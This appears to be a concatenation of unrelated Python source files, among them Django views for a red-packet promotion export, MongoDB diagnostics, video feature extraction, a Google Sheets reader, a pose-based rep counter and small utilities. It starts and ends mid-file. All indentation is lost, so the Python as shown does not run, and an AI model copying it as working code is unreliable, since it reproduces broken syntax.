currentImage.write(str(idx))
currentImage.flush()
showImageTime.measureDeltaTime(procContoursTime)
#print 'i=%d' % ( i )
x = 160
y = 120
rawDisparity = cv.cvGet2D( dwnDepthFrame, y, x )[0]
distance1b = (12.36 * math.tan(rawDisparity / 2842.5 + 1.1863))*0.39
print "col=%d row=%d %f in" % (x, y, distance1b)
frameProcTime.measureDeltaTime(frameToFrame)
# wait 1 milliseconds for a key press
k = cvWaitKey(1)
if k > -1 :
printStats()
quit()
|
# -*- coding: utf-8 -*-
import json
from datetime import date, datetime
from django.http import HttpResponseRedirect, HttpResponse
from django.template import RequestContext
from django.shortcuts import render_to_response
from django.db.models import F
from django.contrib.auth.decorators import login_required
# from apps.customerized_apps.red_packet.m_red_packet import reset_member_helper_info,reset_re_subscribed_member_helper_info
from core import resource
from core import paginator
from core.exceptionutil import unicode_full_stack
from core.jsonresponse import create_response
from modules.member import models as member_models
import models as app_models
import export
from mall import export as mall_export
from modules.member.models import Member
from utils.string_util import byte_to_hex
import os
from watchdog.utils import watchdog_error
from weapp import settings
FIRST_NAV = mall_export.MALL_PROMOTION_AND_APPS_FIRST_NAV
COUNT_PER_PAGE = 20
class RedPacketParticipances(resource.Resource):
app = 'apps/red_packet'
resource = 'red_packet_participances'
@login_required
def get(request):
"""
响应GET
"""
has_data = app_models.RedPacketParticipance.objects(belong_to=request.GET['id']).count()
c = RequestContext(request, {
'first_nav_name': FIRST_NAV,
'second_navs': mall_export.get_promotion_and_apps_second_navs(request),
'second_nav_name': mall_export.MALL_APPS_SECOND_NAV,
'third_nav_name': mall_export.MALL_APPS_REDPACKET_NAV,
'has_data': has_data,
'activity_id': request.GET['id']
});
return render_to_response('red_packet/templates/editor/red_packet_participances.html', c)
@staticmethod
def get_datas(request):
name = request.GET.get('participant_name', '')
red_packet_status = request.GET.get('red_packet_status', '-1')
is_already_paid = request.GET.get('is_already_paid', '-1')
is_subscribed = request.GET.get('is_subscribed',-1)
webapp_id = request.user_profile.webapp_id
member_ids = []
if name:
members = member_models.Member.objects.filter(webapp_id=webapp_id,username_hexstr__contains = byte_to_hex(name))
temp_ids = [member.id for member in members]
member_ids = temp_ids if temp_ids else [-1]
start_time = request.GET.get('start_time', '')
end_time = request.GET.get('end_time', '')
id = request.GET.get('id',0)
#导出
export_id = request.GET.get('export_id',0)
if id:
belong_to = id
else:
belong_to = export_id
# #检查所有当前参与用户是否取消关注,设置为未参与
# reset_member_helper_info(belong_to)
# reset_re_subscribed_member_helper_info(belong_to)
red_packet_info = app_models.RedPacket.objects.get(id=belong_to)
red_packet_status_text = red_packet_info.status_text
#取消关注的参与者也算在列表中,但是一个人只算一次参与,所以取有效参与人的id与无效参与人(可能有多次)的id的并集
all_unvalid_participances = app_models.RedPacketParticipance.objects(belong_to=belong_to, is_valid=False)
all_unvalid_participance_ids = [un_p.member_id for un_p in all_unvalid_participances]
all_valid_participances = app_models.RedPacketParticipance.objects(belong_to=belong_to, has_join=True, is_valid=True)
all_valid_participance_ids = [v.member_id for v in all_valid_participances]
member_ids_for_show = list(set(all_valid_participance_ids).union(set(all_unvalid_participance_ids)))
params = {'belong_to': belong_to,'member_id__in': member_ids_for_show}
if member_ids:
params['member_id__in'] = member_ids
if start_time:
params['created_at__gte'] = start_time
if red_packet_status !='-1':
if red_packet_status == '1':
params['red_packet_status'] = True
elif red_packet_status_text == u'已结束' and red_packet_status == '0':
params['red_packet_status'] = False
else:
params['red_packet_status'] = ''#进行中没有失败
if is_already_paid !='-1':
if is_already_paid == '1':
params['is_already_paid'] = True
elif red_packet_status_text == u'已结束' and is_already_paid == '0':
params['is_already_paid'] = False
else:
params['is_already_paid'] = ''#进行中没有失败
member_id2subscribe = {m.id: m.is_subscribed for m in member_models.Member.objects.filter(id__in=member_ids_for_show)}
datas = app_models.RedPacketParticipance.objects(**params).order_by('-created_at')
if is_subscribed == '1':
datas = [d for d in datas if member_id2subscribe[d.member_id]]
elif is_subscribed == '0':
datas = [d for d in datas if not member_id2subscribe[d.member_id]]
#进行分页
count_per_page = int(request.GET.get('count_per_page', COUNT_PER_PAGE))
cur_page = int(request.GET.get('page', '1'))
if not export_id:
pageinfo, datas = paginator.paginate(datas, cur_page, count_per_page, query_string=request.META['QUERY_STRING'])
tmp_member_ids = []
for data in datas:
tmp_member_ids.append(data.member_id)
members = member_models.Member.objects.filter(id__in=tmp_member_ids)
member_id2member = {member.id: member for member in members}
items = []
for data in datas:
cur_member = member_id2member.get(data.member_id, None)
if cur_member:
try:
name = cur_member.username.decode('utf8')
except:
name = cur_member.username_hexstr
else:
name = u'未知'
#并发问题临时解决方案 ---start
if data.current_money > data.red_packet_money:
app_models.RedPacketParticipance.objects.get(belong_to=belong_to, member_id=data.member_id).update(
set__current_money=data.red_packet_money,set__red_packet_status=True)
data.reload()
#并发问题临时解决方案 ---end
items.append({
'id': str(data.id),
'member_id': data.member_id,
'belong_to': data.belong_to,
'participant_name': member_id2member[data.member_id].username_size_ten if member_id2member.get(data.member_id) else u'未知',
'username': name,
'participant_icon': member_id2member[data.member_id].user_icon if member_id2member.get(data.member_id) else '/static/img/user-1.jpg',
'red_packet_money': '%.2f' % data.red_packet_money,
'current_money': '%.2f' % data.current_money,
'red_packet_status': u'成功' if data.red_packet_status else u'失败', #红包参与者状态
'is_already_paid': u'发放' if data.is_already_paid else u'未发放',
'msg_api_status': u'成功' if data.msg_api_status else u'失败',
'red_packet_status_text': red_packet_status_text, #红包状态
'created_at': data.created_at.strftime("%Y-%m-%d %H:%M:%S"),
'is_subscribed':member_id2subscribe[data.member_id]
})
if export_id:
return items
else:
return pageinfo, items
@login_required
def api_get(request):
"""
响应API GET
"""
pageinfo, items = RedPacketParticipances.get_datas(request)
response_data = {
'items': items,
'pageinfo': paginator.to_dict(pageinfo),
'sortAttr': '-id',
'data': {}
}
response = create_response(200)
response.data = response_data
return response.get_response()
class RedPacketParticipances_Export(resource.Resource):
'''
批量导出
'''
app = 'apps/red_packet'
resource = 'red_packet_participances_export'
@login_required
def api_get(request):
"""
分析导出
"""
export_id = request.GET.get('export_id',0)
download_excel_file_name = u'拼红包详情.xls'
excel_file_name = 'red_packet_details_'+datetime.now().strftime('%H_%M_%S')+'.xls'
dir_path_suffix = '%d_%s' % (request.user.id, date.today())
dir_path = os.path.join(settings.UPLOAD_DIR, dir_path_suffix)
if not os.path.exists(dir_path):
os.makedirs(dir_path)
export_file_path = os.path.join(dir_path,excel_file_name)
#Excel Process Part
try:
import xlwt
datas =RedPacketParticipances.get_datas(request)
fields_pure = []
export_data = []
#from sample to get fields4excel_file
fields_pure.append(u'会员id')
fields_pure.append(u'用户名')
fields_pure.append(u'红包金额')
fields_pure.append(u'已获取金额')
fields_pure.append(u'红包状态')
fields_pure.append(u'系统发放状态')
fields_pure.append(u'参与时间')
#processing data
num = 0
for data in datas:
export_record = []
member_id = data["member_id"]
participant_name = data["username"]
red_packet_money = data["red_packet_money"]
current_money = data["current_money"]
red_packet_status = data["red_packet_status"] if data["red_packet_status_text"] == u'已结束' else ''
is_already_paid = data["is_already_paid"] if data["red_packet_status_text"] == u'已结束' else ''
created_at = data["created_at"]
export_record.append(member_id)
export_record.append(participant_name)
export_record.append(red_packet_money)
export_record.append(current_money)
export_record.append(red_packet_status)
export_record.append(is_already_paid)
export_record.append(created_at)
export_data.append(export_record)
#workbook/sheet
wb = xlwt.Workbook(encoding='utf-8')
ws = wb.add_sheet('id%s'%export_id)
header_style = xlwt.XFStyle()
##write fields
row = col = 0
for h in fields_pure:
ws.write(row,col,h)
col += 1
##write data
if export_data:
row = 1
lens = len(export_data[0])
for record in export_data:
row_l = []
for col in range(lens):
record_col= record[col]
if type(record_col)==list:
row_l.append(len(record_col))
for n in range(len(record_col)):
data = record_col[n]
try:
ws.write(row+n,col,data)
except:
#'编码问题,不予导出'
print record
pass
else:
try:
ws.write(row,col,record[col])
except:
#'编码问题,不予导出'
print record
pass
if row_l:
row = row + max(row_l)
else:
row += 1
try:
wb.save(export_file_path)
except Exception, e:
print 'EXPORT EXCEL FILE SAVE ERROR'
print e
print '/static/upload/%s/%s'%(dir_path_suffix,excel_file_name)
else:
ws.write(1,0,'')
wb.save(export_file_path)
response = create_response(200)
response.data = {'download_path':'/static/upload/%s/%s'%(dir_path_suffix,excel_file_name),'filename':download_excel_file_name,'code':200}
except Exception, e:
error_msg = u"导出文件失败, cause:\n{}".format(unicode_full_stack())
watchdog_error(error_msg)
response = create_response(500)
response.innerErrMsg = unicode_full_stack()
return response.get_response()
# class RedPacketDetail(resource.Resource):
# '''
# 助力详情
# '''
# app = 'apps/red_packet'
# resource = 'red_packet_detail'
# def get(request):
# """
# 响应GET
# """
# member_id = request.GET.get('member_id', None)
# belong_to = request.GET.get('belong_to', None)
# if member_id and belong_to:
# items = app_models.PoweredDetail.objects(belong_to=belong_to, owner_id=int(member_id), has_powered=True).order_by('-created_at')
# power_member_ids = [item.power_member_id for item in items]
# member_id2info = {m.id: {'is_subscribed': m.is_subscribed, 'power_member_name': m.username_for_html} for m in Member.objects.filter(id__in=power_member_ids)}
# returnDataList = []
# for t in items:
# returnDataDict = {
# "power_member_id": t.power_member_id,
# "power_member_name": member_id2info[t.power_member_id]['power_member_name'],
# "created_at": t.created_at.strftime("%Y/%m/%d %H:%M"),
# "status": u'关注' if member_id2info[t.power_member_id]['is_subscribed'] else u'跑路'
# }
# returnDataList.append(returnDataDict)
# c = RequestContext(request, {
# 'items': returnDataList,
# 'errMsg': None
# })
# else:
# c = RequestContext(request, {
# 'items': None,
# 'errMsg': u'member_id或者belong_to不存在'
# })
# return render_to_response('powerme/templates/editor/powerme_participance_detail.html', c)
|
import grouptestdocument
import logging
import mdiag
import pymongo
import re
from conversion_tools import jiraGroupToSFProjectId
# TODO move this elsewhere
def _stringToIntIfPossible(s):
# if (typeof s == "object" && "map" in s) {
# return s.map(_stringToIntIfPossible);
# } else {
if isinstance(s, str) or isinstance(s, unicode):
if re.match('^[0-9]+$', s) is not None:
return int(s)
return s
class GroupMdiag(grouptestdocument.GroupTestDocument):
def __init__(self, jiraGroup, run=None, *args, **kwargs):
self.logger = logging.getLogger("logger")
self.jiraGroup = jiraGroup
self.run = run
self.mongo = kwargs['mongo']
# If run not specified get the most recent run of the group
if self.run is None:
try:
match = {'name': jiraGroup}
proj = {'_id': 0, 'run': 1}
curr_mdiags = self.mongo.euphonia.mdiags.find(match, proj).\
sort("run", -1).limit(1)
except pymongo.errors.PyMongoError as e:
raise e
if curr_mdiags.count() > 0:
self.run = curr_mdiags[0]['run']
# Get Salesforce project id
res = jiraGroupToSFProjectId(jiraGroup, self.mongo)
if not res['ok']:
raise Exception("Failed to determine Salesforce project id for"
"JIRA group %s" % jiraGroup)
gid = res['payload']
from groupmdiag_tests import GroupMdiagTests
grouptestdocument.GroupTestDocument.__init__(
self, groupId=gid,
mongo=self.mongo,
src='mdiags',
testsLibrary=GroupMdiagTests)
def getc(self, query, proj=None):
query['run'] = self.run
try:
if proj is not None:
return self.mongo.euphonia.mdiags.find(query, proj)
return self.mongo.euphonia.mdiags.find(query)
except pymongo.errors.PyMongoError as e:
self.logger.exception(e)
return None
def getMongoProcesses(self):
pidIdMap = {}
match = {'section': {"$regex": '^proc/[0-9]+$'},
'subsection': 'cmdline', 'rc': 0, 'output': {"$exists": 1}}
c = self.getc(match)
for doc in c:
md = mdiag.Mdiag(doc)
name = md.getProcessName()
if name is not None:
pid = md.getProcessPid()
if pid is not None:
pidIdMap[pid] = {'id': md.doc['_id'], 'name': name}
return pidIdMap
def getProcPidLimits(self):
pidLimits = {}
# TODO move names out of this function
names = {
"Max cpu time": "cpu",
"Max file size": "fsize",
"Max data size": "data",
"Max stack size": "stack",
"Max core file size": "core",
"Max resident set": "rss",
"Max processes": "nproc",
"Max open files": "nofile",
"Max locked memory": "memlock",
"Max address space": "as",
"Max file locks": "locks",
"Max pending signals": "sigpending",
"Max msgqueue size": "msgqueue",
"Max nice priority": "nice",
"Max realtime priority": "rtprio",
"Max realtime timeout": "rttime"
}
c = self.getc({'filename': {"$regex": "^/proc/[0-9]+/limits$"},
'exists': True, 'content': {"$exists": True}})
for doc in c:
md = mdiag.Mdiag(doc)
pid = md.getProcessPid()
if pid is None:
continue
limits = {}
# Skip first line
for i in range(1, len(md.doc['content'])):
line = md.doc['content'][i]
desc = None
for key in names:
if line.startswith(key):
desc = key
break
if desc is not None:
name = names[desc]
words = line[len(desc):].strip().replace(' +', " ").\
split(" ")
if len(words) >= 2:
limits[name] = {'desc': desc,
'soft': _stringToIntIfPossible(
words[0]),
'hard': _stringToIntIfPossible(
words[1])}
if len(words) >= 3:
limits[name]['units'] = words[2]
pidLimits[pid] = limits
return pidLimits
def getRun(self):
return self.run
def run_all_tests(self):
self.logger.debug("run_all_tests")
if self.isTestable():
self.logger.debug(self.tests)
return self.run_selected_tests(self.tests)
return None
def groupName(self):
return self.name
def isTestable(self):
return self.run is not None
def isCsCustomer(self):
if self.company is not None:
return self.company.get('has_cs')
return False
def getTestDefinitions(self):
res = {}
if self.tests is not None:
res.update(self.tests)
return res
return None
|
import cv2
import os
import numpy as np
import h5py
from keras.preprocessing.image import img_to_array
from keras.applications.vgg16 import VGG16
from keras.applications.vgg16 import preprocess_input
model = VGG16(weights='imagenet', include_top=False)
data_dir = "/tmp/Virat_Trimed/"
annotation_path = "/tmp/virat_annotations/"
max_width = 683
max_height = 343
def crop_frame(vid_name, frame_no, frame, width, height, prev_bb):
vid_name = vid_name.split("_")
ann_file = "_".join(vid_name[1:-4]) + ".viratdata.events.txt"
bb_data = []
with open(annotation_path + ann_file, "r") as f:
for line in f:
data = line.strip().split(" ")
if int(data[3]) == int(vid_name[-3]) and int(data[4]) == int(vid_name[-2]) and int(data[5]) == (int(vid_name[-3]) + frame_no):
bb_data = list(map(int, data[6:]))
break
if bb_data == []:
return (frame[prev_bb[2]:prev_bb[3], prev_bb[0]:prev_bb[1]], prev_bb)
center = [bb_data[0]+bb_data[2]//2, bb_data[1]+bb_data[3]//2]
pad_dim = [center[0], center[0], center[1], center[1]]
if (center[0] + max_width//2) > width:
pad_dim[0] = center[0] - max_width//2 - \
(max_width//2 - (width-center[0]))
pad_dim[1] = width
elif (center[0] - max_width//2) < 0:
pad_dim[0] = 0
pad_dim[1] = center[0] + max_width//2 + (max_width//2 - center[0])
else:
pad_dim[0] = center[0] - max_width//2
pad_dim[1] = center[0] + max_width//2
if (center[1] + max_height//2) > height:
pad_dim[2] = center[1] - max_height//2 - \
(max_height//2 - (height-center[1]))
pad_dim[3] = height
elif (center[1] - max_height//2) < 0:
pad_dim[2] = 0
pad_dim[3] = center[1] + max_height//2 + (max_height//2 - center[1])
else:
pad_dim[2] = center[1] - max_height//2
pad_dim[3] = center[1] + max_height//2
pad_dim = list(map(int, pad_dim))
return (frame[pad_dim[2]:pad_dim[3], pad_dim[0]:pad_dim[1]], pad_dim)
def compute_rgb(image):
image = img_to_array(image)
image = image.reshape((1, image.shape[0], image.shape[1], image.shape[2]))
image = preprocess_input(image)
feature = model.predict(image)
return feature.flatten()
def compute_flow(curr, prev):
curr = cv2.cvtColor(curr, cv2.COLOR_BGR2GRAY)
prev = cv2.cvtColor(prev, cv2.COLOR_BGR2GRAY)
flow = cv2.calcOpticalFlowFarneback(
prev, curr, None, 0.5, 3, 15, 3, 5, 1.2, 0)
channels = []
for i in range(2):
x = flow[:, :, i]
x[x > 20] = 20
x[x < -20] = -20
domain = np.min(x), np.max(x)
x = (x - (domain[1] + domain[0]) / 2) / (domain[1] - domain[0])
channels.append(x)
temp = np.zeros_like(channels[0])
stack = np.stack(
[np.array(channels[0]), np.array(channels[1]), temp], axis=-1)
return compute_rgb(stack.reshape((224, 224, 3)))
def extract_features(files_name):
video_label = []
video_name = []
for cnt, item in enumerate(files_name):
rgb_features = []
flow_features = []
bb_data = []
cap = cv2.VideoCapture(data_dir+item)
frame_length = int(cap.get(cv2.CAP_PROP_FRAME_COUNT))
chk, initial_frame = cap.read()
if chk is False:
continue
initial_frame, prev_bb = crop_frame(
item, 0, initial_frame, cap.get(3), cap.get(4), [])
initial_frame = cv2.resize(
initial_frame, (224, 224), interpolation=cv2.INTER_AREA)
for i in range(frame_length-1):
chk, frame = cap.read()
if chk is False:
continue
frame, prev_bb = crop_frame(
item, i+1, frame, cap.get(3), cap.get(4), prev_bb)
bb_data.append(prev_bb)
image = cv2.resize(frame, (224, 224),
interpolation=cv2.INTER_AREA)
rgb_features.append(compute_rgb(image))
flow_features.append(compute_flow(image, initial_frame))
initial_frame = image
video_label.append(item.split("_")[0])
video_name.append(item)
hf_rgb = h5py.File(
"/tmp/Data/virat_input/data_file/"+item+".h5", 'w')
hf_flow = h5py.File(
"/tmp/Data/virat_input/context_file/"+item+".h5", 'w')
hf_bb = h5py.File("/tmp/Data/virat_input/bb_file/"+item+".h5", 'w')
hf_bb.create_dataset('bb_file', data=bb_data)
hf_rgb.create_dataset('data_file', data=rgb_features)
hf_flow.create_dataset('context_file', data=flow_features)
hf_rgb.close()
hf_flow.close()
hf_bb.close()
if cnt % 50 == 0:
print(cnt)
else:
print('.', end='')
return video_label, video_name
|
"""
Tool Name: CalcADT
Source Name: calc_adt_eq.py
Author: Ethan Rucker
Required Arguments:
The path to the Geodatabase Workspace
Description:
Calculates average daily traffic for each speed hump request location.
Calculation is the maximum sum of recorded traffic counts in both directions between
up to two separate field surveys.
"""
import arcpy, sys
arcpy.env.workspace = arcpy.GetParameterAsText(0)
edit = arcpy.da.Editor(arcpy.env.workspace)
fc = r"SpeedHump\SpeedHumpAnalysis"
fields = ["FN_E_T", "FS_W_T", "SN_E_T", "SS_W_T", "CLADT"]
def calc_adt(ne_adt_1, sw_adt_1, ne_adt_2, sw_adt_2):
if ne_adt_1 is not None:
sum_1 = (ne_adt_1 + sw_adt_1) if sw_adt_1 else ne_adt_1
if ne_adt_2 is not None:
sum_2 = (ne_adt_2 + sw_adt_2) if sw_adt_2 else ne_adt_2
return max(sum_1, sum_2)
return sum_1
return 0
try:
edit.startEditing(False, True)
edit.startOperation()
with arcpy.da.UpdateCursor(fc, fields) as cursor:
for row in cursor:
row[4] = calc_adt(row[0], row[1], row[2], row[3])
arcpy.AddMessage(row[4])
cursor.updateRow(row)
edit.stopOperation()
edit.stopEditing(True)
except Exception as err:
""" Error Handling """
arcpy.AddError(err)
sys.exit(1)
|
import os
from cpath import at_output_dir
from data_generator.tokenizer_wo_tf import get_tokenizer
from data_generator2.segmented_enc.runner.run_nli_tfrecord_gen import mnli_asymmetric_encode_common
from data_generator2.segmented_enc.seg_encoder_common import SingleChunkIndicatingEncoder, ChunkIndicatingEncoder
from misc_lib import exist_or_mkdir
from tf_util.lib.tf_funcs import show_tfrecord
def gen_single_chunk_indicating_encoder(split):
output_dir = at_output_dir("tfrecord", "nli_sg10")
exist_or_mkdir(output_dir)
output_path = os.path.join(output_dir, split)
tokenizer = get_tokenizer()
p_encoder = SingleChunkIndicatingEncoder(tokenizer, 200)
h_encoder = SingleChunkIndicatingEncoder(tokenizer, 100)
mnli_asymmetric_encode_common(p_encoder, h_encoder, split, output_path)
print("{} of tokens are chunk start".format(h_encoder.chunk_start_rate.get_suc_prob()))
def gen_chunk_indicating_encoder(split):
output_dir = at_output_dir("tfrecord", "nli_sg11")
exist_or_mkdir(output_dir)
output_path = os.path.join(output_dir, split)
tokenizer = get_tokenizer()
typical_chunk_len = 4
p_encoder = ChunkIndicatingEncoder(tokenizer, 200, typical_chunk_len)
h_encoder = ChunkIndicatingEncoder(tokenizer, 100, typical_chunk_len)
mnli_asymmetric_encode_common(p_encoder, h_encoder, split, output_path)
print("{} of tokens are chunk start".format(h_encoder.chunk_start_rate.get_suc_prob()))
show_tfrecord(output_path)
def do_train_dev(fn):
for split in ["dev", "train"]:
fn(split)
def main():
do_train_dev(gen_chunk_indicating_encoder)
if __name__ == "__main__":
main() |
from .averages import my_mean
def my_cov(list_x, list_y):
assert len(list_x) == len(list_y)
N = len(list_x)
xbar = my_mean(list_x)
ybar = my_mean(list_y)
total = 0
for i in range(len(list_x)):
total += ((list_x[i] - xbar) * (list_y[i] - ybar))
return total / N
def my_var(list_x):
return my_cov(list_x, list_x)
|
import json
import gspread
from oauth2client.service_account import ServiceAccountCredentials
import backend.config as cf
class SheetGetter(object):
def __init__(self):
#APIを認証
scope = ['https://spreadsheets.google.com/feeds','https://www.googleapis.com/auth/drive']
credentials = ServiceAccountCredentials.from_json_keyfile_name('twitube-b6ed56106252.json', scope)
self.gc = gspread.authorize(credentials)
self.url_len = 0
#ユーザー一覧を返す
def getUsers(self):
workbook = self.gc.open_by_key(cf.SPREADSHEET_KEY)
user_sheet = workbook.worksheet('Userテーブル')
user_id = user_sheet.col_values(1)[1:]
name = user_sheet.col_values(2)[1:]
icon_url = user_sheet.col_values(3)[1:]
length = len(user_id)
users = []
for i in range(length):
users.append({'user_id': user_id[i], 'name': name[i], 'icon_url': icon_url[i]})
users.sort(key=lambda x: x['user_id'])
return users
#動画のURL一覧を返す
def getMovieUrls(self):
workbook = self.gc.open_by_key(cf.SPREADSHEET_KEY)
movie_sheet = workbook.worksheet('Movieテーブル')
urls = movie_sheet.col_values(2)[1:]
self.url_len = len(urls) #getWatchListで使う
return urls
#ユーザーごとに任意の動画を見たかどうかの一覧を返す
def getWatchList(self):
workbook = self.gc.open_by_key(cf.SPREADSHEET_KEY)
tweet_sheet = workbook.worksheet('Tweetテーブル')
movie_id = tweet_sheet.col_values(1)[1:]
user_id = tweet_sheet.col_values(2)[1:]
if len(movie_id) >= len(user_id):
length = len(user_id)
else:
length = len(movie_id)
tweets = []
for i in range(length):
tweets.append({'movie_id': movie_id[i], 'user_id': user_id[i]})
tweets.sort(key=lambda x: x['user_id']) #user_idで並び替え
#1つのuser_idと複数のmovie_url(list)を持つ辞書型のlistにする
tmp_user_id = tweets[0]['user_id']
user_num = 0
watch_list = [{'user_id': tmp_user_id, 'movie_id': [tweets[0]['movie_id']]}]
for j in range(length-1):
i = j + 1
if tweets[i]['user_id'] == tmp_user_id:
watch_list[user_num]['movie_id'].append(tweets[i]['movie_id'])
else:
user_num += 1
tmp_user_id = tweets[i]['user_id']
watch_list.append({'user_id': tmp_user_id, 'movie_id': [tweets[i]['movie_id']]})
#ユーザーごとに任意の動画を見たかどうかを01で示す配列を作成する
new_watch_list = [{'user_id': watch_list[i]['user_id'], 'movie': []} for i in range(len(watch_list))]
for i in range(self.url_len): #動画の数だけ回す
for j in range(len(watch_list)): #ユーザー数だけ回す
if str(i+1) in watch_list[j]['movie_id']:
new_watch_list[j]['movie'].append(1)
else:
new_watch_list[j]['movie'].append(0)
return new_watch_list
|
import cv2
import time
import argparse
import statistics
import pandas as pd
import configparser
import re
import os
import Janus_v2_0
# Load in configuration
config = configparser.ConfigParser()
config.read('configurations.cfg')
parser = argparse.ArgumentParser()
parser.add_argument('--model', type=int, default=101)
parser.add_argument('--cam_id', type=int, default=0)
parser.add_argument('--cam_width', type=int, default=1280)
parser.add_argument('--cam_height', type=int, default=720)
parser.add_argument('--scale_factor', type=float, default=0.7125)
parser.add_argument('--file', type=str, default=None, help="Optionally use a video file instead of a live camera")
parser.add_argument('--labels', type=str, default=None, help="Give the location of your labels file")
parser.add_argument('--csv_loc', type=str, default=None)
args = parser.parse_args()
video = "../video_dataset/" + args.file
stop_program = False
statistics_df = []
def main():
name_search = re.search("^.*/(.+)\\.", video)
file_name = name_search.group(1)
if video is not None:
cap = cv2.VideoCapture(video)
else:
cap = cv2.VideoCapture(args.cam_id)
cap.set(3, args.cam_width)
cap.set(4, args.cam_height)
janus = Janus_v2_0.Janus(cap)
start = time.time()
frame_count = 0
rep_count = 0
keypoints_detected = []
people_detected = []
all_keypoints_detected = []
try:
while True:
# Run PoseNet
overlay_image, num_keypoints_detected, people_location, num_of_people_detected = janus.get_poses()
# Use PoseNet outout to detect repetitons
rep_count = janus.count_reps(people_location)
# Reporting workout and rep count
overlay_image = cv2.rectangle(overlay_image, (20 - 15, 380 + 35), (145 - 15, 440 + 35), (255, 255, 255), -1)
prediction = "Lateral Raises"#posenet.detect_workout_type(i)
cv2.putText(overlay_image, "{}".format(prediction), (8, 395 + 40), cv2.FONT_HERSHEY_SIMPLEX,
0.5, (0, 0, 0), 1, cv2.LINE_AA)
cv2.putText(overlay_image, 'Rep count: {}'.format(rep_count), (8, 420 + 40), cv2.FONT_HERSHEY_SIMPLEX, 0.5,
(0, 0, 0), 1, cv2.LINE_AA)
cv2.imshow('', overlay_image)
# Store data needed to print final summaries
frame_count += 1
keypoints_detected.append(num_keypoints_detected)
people_detected.append(num_of_people_detected)
if cv2.waitKey(1) & 0xFF == ord('q'):
return False
except Exception as e:
print(e)
print("_________ {} Statistics _________".format(file_name))
# Report all of the statistics
print("Average number of key-points detected throughout the video: {}".format(statistics.mean(keypoints_detected)))
missing_keypoints = len([i for i in keypoints_detected if i < 17])
extra_keypoints = len([i for i in keypoints_detected if i > 17])
print("{} of the {} frames are missing atleast one keypoint".format(missing_keypoints,
len(keypoints_detected)))
print("{} of the {} frames have atleast one extra keypoint".format(extra_keypoints,
len(keypoints_detected)))
print("There were at most {} person(s) detected in this video".format(max(people_detected)))
print("The video contained {} frames".format(frame_count))
print('Average FPS: ', int(frame_count / (time.time() - start)))
labels = pd.read_csv(args.labels)
video_labels = labels.loc[labels["file_name"] == file_name]
actual_reps = video_labels["reps"].values
if len(actual_reps) > 0:
rep_search = re.search('(^\\d+)', actual_reps[0])
actual_reps = rep_search.group(1)
print("The expected amount of reps was:", actual_reps)
print("The predicted rep count is {}".format(rep_count))
# TODO: Compare workout prediction vs actual
# writing to file
# print("Writing to file")
# df = pd.DataFrame(all_keypoints_detected, columns=['keypoints'])
# df.to_csv(args.csv_loc, header=['keypoints'])
model_config = janus.get_model_config()
stats_dict = {"file_name": file_name ,
"fps": int(frame_count / (time.time() - start)),
"expected_reps": actual_reps,
"predicted_reps": rep_count}
for param in model_config.keys():
stats_dict[param] = str(model_config[param])
statistics_df.append(stats_dict)
return True
if __name__ == "__main__":
label_loc = "../video_dataset/test/"
for i in os.listdir(label_loc):
if ".mp4" in i:
video = label_loc + i
if main() is False:
break
break
eval_df = pd.DataFrame(statistics_df)
eval_df.to_csv("./eval_results_2.csv", index=False)
|
"""
Roleplaying Character Generator
"""
from random import randint
from time import sleep
print("RPG Character Generator v1")
print("What class would you like to be?")
print("Press 1 for Elf")
print("Press 2 for Warrior")
print("Press 3 for Halfling")
print("Press 4 for Amazon")
choice = int(input("Who do you choose? "))
sleep(1)
if choice == 1:
print("You have chosen the Elf class a wise and powerful choice")
hp = randint(1,100)
mp = randint(1,20)
dex = randint(1,10)
print("Your character has",hp,"hit points",mp,"magic points and",dex,"dexterity")
elif choice == 2:
print("You have chosen the Warrior class, a powerful figher, yet lacking intelligence")
hp = randint(1,100)
mp = randint(1,20)
dex = randint(1,10)
print("Your character has",hp,"hit points",mp,"magic points and",dex,"dexterity")
elif choice == 3:
print("You have chosen the Halfling, what a shame")
hp = randint(1,100)
mp = randint(1,20)
dex = randint(1,10)
print("Your character has",hp,"hit points",mp,"magic points and",dex,"dexterity")
else:
print("The Amazon are a proud a noble clan, but forget to pay their taxes")
hp = randint(1,100)
mp = randint(1,20)
dex = randint(1,10)
print("Your character has",hp,"hit points",mp,"magic points and",dex,"dexterity")
|
from confidant.routes import static_files # noqa
from confidant.routes import v1 # noqa
from confidant.routes import saml # noqa
|
import collections
from typing import Deque, Mapping, Optional, Sequence, Tuple
from pddlenv import env
from pddlenv.base import Action
def generate_plan(end_state: env.EnvState,
parents: Mapping[env.EnvState, Optional[Tuple[env.EnvState, Action]]]
) -> Sequence[Action]:
plan: Deque[Action] = collections.deque()
state = end_state
while (stateaction := parents.get(state)) is not None:
state, action = stateaction
plan.append(stateaction[1])
plan.reverse()
return plan
def generate_path(state: env.EnvState, plan: Sequence[Action]) -> Sequence[env.EnvState]:
dynamics = env.PDDLDynamics()
path = [state]
for action in plan:
state = dynamics(state, action).observation
path.append(state)
return path
|
# 첫번째 학생은 0번을 받아 제일 앞에 줄을 선다
# 두번째 학생은 0번 또는 1번 둘 중 하나의 번호
# if 0번을 ㄷ뽑으면 그 자리에 그대로 있고 1번을 뽑으면 바로 앞의 학생 앞으로
# 세번째 학생은 0,1,2 중 하나의 번호를 뽑는다. 그리고 뽑은 번호만큼 앞자리로
# 마지막 학생까지....
# 각자 뽑은 번호는 자신이 처음에 선 순서보다는 작은 수
T = int(input())
order_nums = list(map(int,input().split()))
result = []
for i, order_num in enumerate(order_nums):
result.insert(len(result)-order_num, str(i+1))
print(' '.join(result))
|
# Generated by Django 2.1 on 2019-07-26 23:56
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('siteApp', '0004_lifemodel'),
]
operations = [
migrations.AlterField(
model_name='lifemodel',
name='extra',
field=models.TextField(null=True),
),
migrations.AlterField(
model_name='lifemodel',
name='password',
field=models.CharField(max_length=32, null=True),
),
]
|
#!/usr/bin/env python
# encoding: utf-8
from lang.classfile.ConstantMemberRefInfo import ConstantMethodRefInfo
from vm.runtime import MethodLookup
from vm.runtime.ConstantPool import ConstantPool
from vm.runtime.CpMemberRef import MemberRef
class MethodRef(MemberRef):
def __init__(self, constant_pool: ConstantPool, ref_info: ConstantMethodRefInfo):
super(MethodRef, self).__init__()
self.method = None
self.cp = constant_pool
self.copy_member_ref_info(ref_info)
# 解析非接口方法
def resolved_method(self):
if self.method is None:
self.resolve_method_ref()
return self.method
# 解析非接口方法符号引用
def resolve_method_ref(self):
"""
如果类D想通过方法符号引用访问类C的某个方法,先要解析符号引用得到类C。
如果C是接口,则抛出IncompatibleClassChangeError异常,否则根据方法名和描述符查找方法。
